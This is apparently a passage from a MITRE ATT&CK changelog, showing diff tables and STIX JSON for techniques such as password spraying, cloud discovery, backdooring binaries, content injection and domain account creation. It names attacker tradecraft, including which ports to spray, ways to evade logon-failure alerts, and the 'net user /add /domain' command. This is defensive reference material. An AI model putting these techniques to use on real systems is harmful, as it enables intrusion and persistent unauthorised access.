| > | h many passwords. (Citation: BlackHillsInfosec Password Spra | > | h many passwords.(Citation: BlackHillsInfosec Password Spray | ||
| > | ying) Typically, management services over commonly used por | > | ing) Typically, management services over commonly used port | ||
| > | ts are used when password spraying. Commonly targeted servic | > | s are used when password spraying. Commonly targeted service | ||
| > | es include the following: * SSH (22/TCP) * Telnet (23/TCP) | > | s include the following: * SSH (22/TCP) * Telnet (23/TCP) * | ||
| > | * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * | > | FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * | ||
| > | LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Service | > | LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Services | ||
| > | s (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/T | > | (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/TC | ||
| > | CP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP | > | P) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) | ||
| > | ) * VNC (5900/TCP) In addition to management services, adve | > | * VNC (5900/TCP) In addition to management services, adver | ||
| > | rsaries may \"target single sign-on (SSO) and cloud-based app | > | saries may \"target single sign-on (SSO) and cloud-based appl | ||
| > | lications utilizing federated authentication protocols,\" as | > | ications utilizing federated authentication protocols,\" as w | ||
| > | well as externally facing email applications, such as Office | > | ell as externally facing email applications, such as Office | ||
| > | 365.(Citation: US-CERT TA18-068A 2018) In order to avoid d | > | 365.(Citation: US-CERT TA18-068A 2018) In order to avoid de | ||
| > | etection thresholds, adversaries may deliberately throttle p | > | tection thresholds, adversaries may deliberately throttle pa | ||
| > | assword spraying attempts to avoid triggering security alert | > | ssword spraying attempts to avoid triggering security alerti | ||
| > | ing. Additionally, adversaries may leverage LDAP and Kerbero | > | ng. Additionally, adversaries may leverage LDAP and Kerberos | ||
| > | s authentication attempts, which are less likely to trigger | > | authentication attempts, which are less likely to trigger h | ||
| > | high-visibility events such as Windows \"logon failure\" event | > | igh-visibility events such as Windows \"logon failure\" event | ||
| > | ID 4625 that is commonly triggered by failed SMB connection | > | ID 4625 that is commonly triggered by failed SMB connection | ||
| > | attempts.(Citation: Microsoft Storm-0940) | > | attempts.(Citation: Microsoft Storm-0940) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse cloud management services to execute c | t | 1 | Adversaries may abuse cloud management services to execute c |
| > | ommands within virtual machines. Resources such as AWS Syste | > | ommands within virtual machines. Resources such as AWS Syste | ||
| > | ms Manager, Azure RunCommand, and Runbooks allow users to re | > | ms Manager, Azure RunCommand, and Runbooks allow users to re | ||
| > | motely run scripts in virtual machines by leveraging install | > | motely run scripts in virtual machines by leveraging install | ||
| > | ed virtual machine agents. (Citation: AWS Systems Manager Ru | > | ed virtual machine agents.(Citation: AWS Systems Manager Run | ||
| > | n Command)(Citation: Microsoft Run Command) If an adversary | > | Command)(Citation: Microsoft Run Command) If an adversary | ||
| > | gains administrative access to a cloud environment, they ma | > | gains administrative access to a cloud environment, they may | ||
| > | y be able to abuse cloud management services to execute comm | > | be able to abuse cloud management services to execute comma | ||
| > | ands in the environment\u2019s virtual machines. Additionally, an | > | nds in the environment\u2019s virtual machines. Additionally, an | ||
| > | adversary that compromises a service provider or delegated | > | adversary that compromises a service provider or delegated a | ||
| > | administrator account may similarly be able to leverage a [T | > | dministrator account may similarly be able to leverage a [Tr | ||
| > | rusted Relationship](https://attack.mitre.org/techniques/T11 | > | usted Relationship](https://attack.mitre.org/techniques/T119 | ||
| > | 99) to execute commands in connected virtual machines.(Citat | > | 9) to execute commands in connected virtual machines.(Citati | ||
| > | ion: MSTIC Nobelium Oct 2021) | > | on: MSTIC Nobelium Oct 2021) |
DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, the HeadBucket API to determine a bucket\u2019s existence along with access permissions of the request sender, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project,(Citation: Google Compute Instances) and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources.(Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1580",
"external_id": "T1580"
},
{
"source_name": "Expel IO Evil in AWS",
"description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.",
"url": "https://expel.io/blog/finding-evil-in-aws/"
},
{
"source_name": "AWS Head Bucket",
"description": "Amazon Web Services. (n.d.). AWS HeadBucket. Retrieved February 14, 2022.",
"url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadBucket.html"
},
{
"source_name": "AWS Get Public Access Block",
"description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.",
"url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html"
},
{
"source_name": "AWS Describe DB Instances",
"description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.",
"url": "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html"
},
{
"source_name": "Amazon Describe Instance",
"description": "Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.",
"url": "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html"
},
{
"source_name": "Amazon Describe Instances API",
"description": "Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020.",
"url": "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html"
},
{
"source_name": "Google Compute Instances",
"description": "Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020.",
"url": "https://cloud.google.com/sdk/gcloud/reference/compute/instances/list"
},
{
"source_name": "Mandiant M-Trends 2020",
"description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
"url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
},
{
"source_name": "Microsoft AZ CLI",
"description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.",
"url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest"
},
{
"source_name": "Malwarebytes OSINT Leaky Buckets - Hioureas",
"description": "Vasilios Hioureas. (2019, September 13). Hacking with AWS: incorporating leaky buckets into your OSINT workflow. Retrieved February 14, 2022.",
"url": "https://blog.malwarebytes.com/researchers-corner/2019/09/hacking-with-aws-incorporating-leaky-buckets-osint-workflow/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Regina Elwell",
"Praetorian",
"Isif Ibrahima, Mandiant"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"IaaS"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:08:10.060000+00:00\", \"old_value\": \"2026-05-12 15:12:00.635000+00:00\"}, \"root['description']\": {\"new_value\": \"An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\\n\\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, the HeadBucket API to determine a bucket\\u2019s existence along with access permissions of the request sender, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project,(Citation: Google Compute Instances) and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)\\n\\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources.(Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.\", \"old_value\": \"An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\\n\\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, the HeadBucket API to determine a bucket\\u2019s existence along with access permissions of the request sender, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)\\n\\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\\n \\n-Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, the HeadBucket API to determine a bucket\\u2019s existence along with access permissions of the request sender, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)\\n+Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, the HeadBucket API to determine a bucket\\u2019s existence along with access permissions of the request sender, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project,(Citation: Google Compute Instances) and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)\\n \\n-An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.\\n+An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources.(Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.\"}}}",
"previous_version": "1.3",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may attempt to discover infrastructure and reso | t | 1 | An adversary may attempt to discover infrastructure and reso |
| > | urces that are available within an infrastructure-as-a-servi | > | urces that are available within an infrastructure-as-a-servi | ||
| > | ce (IaaS) environment. This includes compute service resourc | > | ce (IaaS) environment. This includes compute service resourc | ||
| > | es such as instances, virtual machines, and snapshots as wel | > | es such as instances, virtual machines, and snapshots as wel | ||
| > | l as resources of other services including the storage and d | > | l as resources of other services including the storage and d | ||
| > | atabase services. Cloud providers offer methods such as API | > | atabase services. Cloud providers offer methods such as API | ||
| > | s and commands issued through CLIs to serve information abou | > | s and commands issued through CLIs to serve information abou | ||
| > | t infrastructure. For example, AWS provides a <code>Describe | > | t infrastructure. For example, AWS provides a <code>Describe | ||
| > | Instances</code> API within the Amazon EC2 API that can retu | > | Instances</code> API within the Amazon EC2 API that can retu | ||
| > | rn information about one or more instances within an account | > | rn information about one or more instances within an account | ||
| > | , the <code>ListBuckets</code> API that returns a list of al | > | , the <code>ListBuckets</code> API that returns a list of al | ||
| > | l buckets owned by the authenticated sender of the request, | > | l buckets owned by the authenticated sender of the request, | ||
| > | the <code>HeadBucket</code> API to determine a bucket\u2019s exis | > | the <code>HeadBucket</code> API to determine a bucket\u2019s exis | ||
| > | tence along with access permissions of the request sender, o | > | tence along with access permissions of the request sender, o | ||
| > | r the <code>GetPublicAccessBlock</code> API to retrieve acce | > | r the <code>GetPublicAccessBlock</code> API to retrieve acce | ||
| > | ss block configuration for a bucket.(Citation: Amazon Descri | > | ss block configuration for a bucket.(Citation: Amazon Descri | ||
| > | be Instance)(Citation: Amazon Describe Instances API)(Citati | > | be Instance)(Citation: Amazon Describe Instances API)(Citati | ||
| > | on: AWS Get Public Access Block)(Citation: AWS Head Bucket) | > | on: AWS Get Public Access Block)(Citation: AWS Head Bucket) | ||
| > | Similarly, GCP's Cloud SDK CLI provides the <code>gcloud com | > | Similarly, GCP's Cloud SDK CLI provides the <code>gcloud com | ||
| > | pute instances list</code> command to list all Google Comput | > | pute instances list</code> command to list all Google Comput | ||
| > | e Engine instances in a project (Citation: Google Compute In | > | e Engine instances in a project,(Citation: Google Compute In | ||
| > | stances), and Azure's CLI command <code>az vm list</code> li | > | stances) and Azure's CLI command <code>az vm list</code> lis | ||
| > | sts details of virtual machines.(Citation: Microsoft AZ CLI) | > | ts details of virtual machines.(Citation: Microsoft AZ CLI) | ||
| > | In addition to API commands, adversaries can utilize open s | > | In addition to API commands, adversaries can utilize open so | ||
| > | ource tools to discover cloud storage infrastructure through | > | urce tools to discover cloud storage infrastructure through | ||
| > | [Wordlist Scanning](https://attack.mitre.org/techniques/T15 | > | [Wordlist Scanning](https://attack.mitre.org/techniques/T159 | ||
| > | 95/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioure | > | 5/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hiourea | ||
| > | as) An adversary may enumerate resources using a compromise | > | s) An adversary may enumerate resources using a compromised | ||
| > | d user's access keys to determine which are available to tha | > | user's access keys to determine which are available to that | ||
| > | t user.(Citation: Expel IO Evil in AWS) The discovery of the | > | user.(Citation: Expel IO Evil in AWS) The discovery of thes | ||
| > | se available resources may help adversaries determine their | > | e available resources may help adversaries determine their n | ||
| > | next steps in the Cloud environment, such as establishing Pe | > | ext steps in the Cloud environment, such as establishing Per | ||
| > | rsistence.(Citation: Mandiant M-Trends 2020)An adversary may | > | sistence.(Citation: Mandiant M-Trends 2020)An adversary may | ||
| > | also use this information to change the configuration to ma | > | also use this information to change the configuration to mak | ||
| > | ke the bucket publicly accessible, allowing data to be acces | > | e the bucket publicly accessible, allowing data to be access | ||
| > | sed without authentication. Adversaries have also may use in | > | ed without authentication. Adversaries have also may use inf | ||
| > | frastructure discovery APIs such as <code>DescribeDBInstance | > | rastructure discovery APIs such as <code>DescribeDBInstances | ||
| > | s</code> to determine size, owner, permissions, and network | > | </code> to determine size, owner, permissions, and network A | ||
| > | ACLs of database resources. (Citation: AWS Describe DB Insta | > | CLs of database resources.(Citation: AWS Describe DB Instanc | ||
| > | nces) Adversaries can use this information to determine the | > | es) Adversaries can use this information to determine the po | ||
| > | potential value of databases and discover the requirements t | > | tential value of databases and discover the requirements to | ||
| > | o access them. Unlike in [Cloud Service Discovery](https://a | > | access them. Unlike in [Cloud Service Discovery](https://att | ||
| > | ttack.mitre.org/techniques/T1526), this technique focuses on | > | ack.mitre.org/techniques/T1526), this technique focuses on t | ||
| > | the discovery of components of the provided services rather | > | he discovery of components of the provided services rather t | ||
| > | than the services themselves. | > | han the services themselves. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may enumerate objects in cloud storage infrastru | t | 1 | Adversaries may enumerate objects in cloud storage infrastru |
| > | cture. Adversaries may use this information during automated | > | cture. Adversaries may use this information during automated | ||
| > | discovery to shape follow-on behaviors, including requestin | > | discovery to shape follow-on behaviors, including requestin | ||
| > | g all or specific objects from cloud storage. Similar to [F | > | g all or specific objects from cloud storage. Similar to [F | ||
| > | ile and Directory Discovery](https://attack.mitre.org/techni | > | ile and Directory Discovery](https://attack.mitre.org/techni | ||
| > | ques/T1083) on a local host, after identifying available sto | > | ques/T1083) on a local host, after identifying available sto | ||
| > | rage services (i.e. [Cloud Infrastructure Discovery](https:/ | > | rage services (i.e. [Cloud Infrastructure Discovery](https:/ | ||
| > | /attack.mitre.org/techniques/T1580)) adversaries may access | > | /attack.mitre.org/techniques/T1580)) adversaries may access | ||
| > | the contents/objects stored in cloud infrastructure. Cloud | > | the contents/objects stored in cloud infrastructure. Cloud | ||
| > | service providers offer APIs allowing users to enumerate obj | > | service providers offer APIs allowing users to enumerate obj | ||
| > | ects stored within cloud storage. Examples include ListObjec | > | ects stored within cloud storage. Examples include ListObjec | ||
| > | tsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azur | > | tsV2 in AWS(Citation: ListObjectsV2) and List Blobs in Azure | ||
| > | e(Citation: List Blobs) . | > | .(Citation: List Blobs) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify host software binaries to establish p | t | 1 | Adversaries may modify host software binaries to establish p |
| > | ersistent access to systems. Software binaries/executables p | > | ersistent access to systems. Software binaries/executables p | ||
| > | rovide a wide range of system commands or services, programs | > | rovide a wide range of system commands or services, programs | ||
| > | , and libraries. Common software binaries are SSH clients, F | > | , and libraries. Common software binaries are SSH clients, F | ||
| > | TP clients, email clients, web browsers, and many other user | > | TP clients, email clients, web browsers, and many other user | ||
| > | or server applications. Adversaries may establish persiste | > | or server applications. Adversaries may establish persiste | ||
| > | nce though modifications to host software binaries. For exam | > | nce through modifications to host software binaries. For exa | ||
| > | ple, an adversary may replace or otherwise infect a legitima | > | mple, an adversary may replace or otherwise infect a legitim | ||
| > | te application binary (or support files) with a backdoor. Si | > | ate application binary (or support files) with a backdoor. S | ||
| > | nce these binaries may be routinely executed by applications | > | ince these binaries may be routinely executed by application | ||
| > | or the user, the adversary can leverage this for persistent | > | s or the user, the adversary can leverage this for persisten | ||
| > | access to the host. An adversary may also modify a software | > | t access to the host. An adversary may also modify a softwar | ||
| > | binary such as an SSH client in order to persistently colle | > | e binary such as an SSH client in order to persistently coll | ||
| > | ct credentials during logins (i.e., [Modify Authentication P | > | ect credentials during logins (i.e., [Modify Authentication | ||
| > | rocess](https://attack.mitre.org/techniques/T1556)).(Citatio | > | Process](https://attack.mitre.org/techniques/T1556)).(Citati | ||
| > | n: Google Cloud Mandiant UNC3886 2024) An adversary may als | > | on: Google Cloud Mandiant UNC3886 2024) An adversary may al | ||
| > | o modify an existing binary by patching in malicious functio | > | so modify an existing binary by patching in malicious functi | ||
| > | nality (e.g., IAT Hooking/Entry point patching)(Citation: Un | > | onality (e.g., IAT Hooking/Entry point patching)(Citation: U | ||
| > | it42 Banking Trojans Hooking 2022) prior to the binary\u2019s leg | > | nit42 Banking Trojans Hooking 2022) prior to the binary\u2019s le | ||
| > | itimate execution. For example, an adversary may modify the | > | gitimate execution. For example, an adversary may modify the | ||
| > | entry point of a binary to point to malicious code patched i | > | entry point of a binary to point to malicious code patched | ||
| > | n by the adversary before resuming normal execution flow.(Ci | > | in by the adversary before resuming normal execution flow.(C | ||
| > | tation: ESET FontOnLake Analysis 2021) After modifying a bi | > | itation: ESET FontOnLake Analysis 2021) After modifying a b | ||
| > | nary, an adversary may attempt to impair defenses by prevent | > | inary, an adversary may attempt to impair defenses by preven | ||
| > | ing it from updating (e.g., via the `yum-versionlock` comman | > | ting it from updating (e.g., via the `yum-versionlock` comma | ||
| > | d or `versionlock.list` file in Linux systems that use the y | > | nd or `versionlock.list` file in Linux systems that use the | ||
| > | um package manager).(Citation: Google Cloud Mandiant UNC3886 | > | yum package manager).(Citation: Google Cloud Mandiant UNC388 | ||
| > | 2024) | > | 6 2024) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gain access and continuously communicate wit | t | 1 | Adversaries may gain access and continuously communicate wit |
| > | h victims by injecting malicious content into systems throug | > | h victims by injecting malicious content into systems throug | ||
| > | h online network traffic. Rather than luring victims to mali | > | h online network traffic. Rather than luring victims to mali | ||
| > | cious payloads hosted on a compromised website (i.e., [Drive | > | cious payloads hosted on a compromised website (i.e., [Drive | ||
| > | -by Target](https://attack.mitre.org/techniques/T1608/004) f | > | -by Target](https://attack.mitre.org/techniques/T1608/004) f | ||
| > | ollowed by [Drive-by Compromise](https://attack.mitre.org/te | > | ollowed by [Drive-by Compromise](https://attack.mitre.org/te | ||
| > | chniques/T1189)), adversaries may initially access victims t | > | chniques/T1189)), adversaries may initially access victims t | ||
| > | hrough compromised data-transfer channels where they can man | > | hrough compromised data-transfer channels where they can man | ||
| > | ipulate traffic and/or inject their own content. These compr | > | ipulate traffic and/or inject their own content. These compr | ||
| > | omised online network channels may also be used to deliver a | > | omised online network channels may also be used to deliver a | ||
| > | dditional payloads (i.e., [Ingress Tool Transfer](https://at | > | dditional payloads (i.e., [Ingress Tool Transfer](https://at | ||
| > | tack.mitre.org/techniques/T1105)) and other data to already | > | tack.mitre.org/techniques/T1105)) and other data to already | ||
| > | compromised systems.(Citation: ESET MoustachedBouncer) Adve | > | compromised systems.(Citation: ESET MoustachedBouncer) Adve | ||
| > | rsaries may inject content to victim systems in various ways | > | rsaries may inject content to victim systems in various ways | ||
| > | , including: * From the middle, where the adversary is in-b | > | , including: * From the middle, where the adversary is in-b | ||
| > | etween legitimate online client-server communications (**Not | > | etween legitimate online client-server communications (**Not | ||
| > | e:** this is similar but distinct from [Adversary-in-the-Mid | > | e:** this is similar but distinct from [Adversary-in-the-Mid | ||
| > | dle](https://attack.mitre.org/techniques/T1557), which descr | > | dle](https://attack.mitre.org/techniques/T1557), which descr | ||
| > | ibes AiTM activity solely within an enterprise environment) | > | ibes AiTM activity solely within an enterprise environment)( | ||
| > | (Citation: Kaspersky Encyclopedia MiTM) * From the side, whe | > | Citation: Kaspersky Encyclopedia MiTM) * From the side, wher | ||
| > | re malicious content is injected and races to the client as | > | e malicious content is injected and races to the client as a | ||
| > | a fake response to requests of a legitimate online server (C | > | fake response to requests of a legitimate online server(Cit | ||
| > | itation: Kaspersky ManOnTheSide) Content injection is often | > | ation: Kaspersky ManOnTheSide) Content injection is often t | ||
| > | the result of compromised upstream communication channels, | > | he result of compromised upstream communication channels, fo | ||
| > | for example at the level of an internet service provider (IS | > | r example at the level of an internet service provider (ISP) | ||
| > | P) as is the case with \"lawful interception.\"(Citation: Kasp | > | as is the case with \"lawful interception.\"(Citation: Kasper | ||
| > | ersky ManOnTheSide)(Citation: ESET MoustachedBouncer)(Citati | > | sky ManOnTheSide)(Citation: ESET MoustachedBouncer)(Citation | ||
| > | on: EFF China GitHub Attack) | > | : EFF China GitHub Attack) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create an account to maintain access to vict | t | 1 | Adversaries may create an account to maintain access to vict |
| > | im systems.(Citation: Symantec WastedLocker June 2020) With | > | im systems.(Citation: Symantec WastedLocker June 2020) With | ||
| > | a sufficient level of access, creating such accounts may be | > | a sufficient level of access, creating such accounts may be | ||
| > | used to establish secondary credentialed access that do not | > | used to establish secondary credentialed access that does no | ||
| > | require persistent remote access tools to be deployed on the | > | t require persistent remote access tools to be deployed on t | ||
| > | system. Accounts may be created on the local system or wit | > | he system. Accounts may be created on the local system or w | ||
| > | hin a domain or cloud tenant. In cloud environments, adversa | > | ithin a domain or cloud tenant. In cloud environments, adver | ||
| > | ries may create accounts that only have access to specific s | > | saries may create accounts that only have access to specific | ||
| > | ervices, which can reduce the chance of detection. | > | services, which can reduce the chance of detection. |
net user /add /domain command can be used to create a domain account.(Citation: Savill 1999)\n\nSuch accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1136/002",
"external_id": "T1136.002"
},
{
"source_name": "Savill 1999",
"description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.",
"url": "https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:17:03.984000+00:00\", \"old_value\": \"2025-10-24 17:48:57.883000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain command can be used to create a domain account.(Citation: Savill 1999)\\n\\nSuch accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.\", \"old_value\": \"Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain command can be used to create a domain account.(Citation: Savill 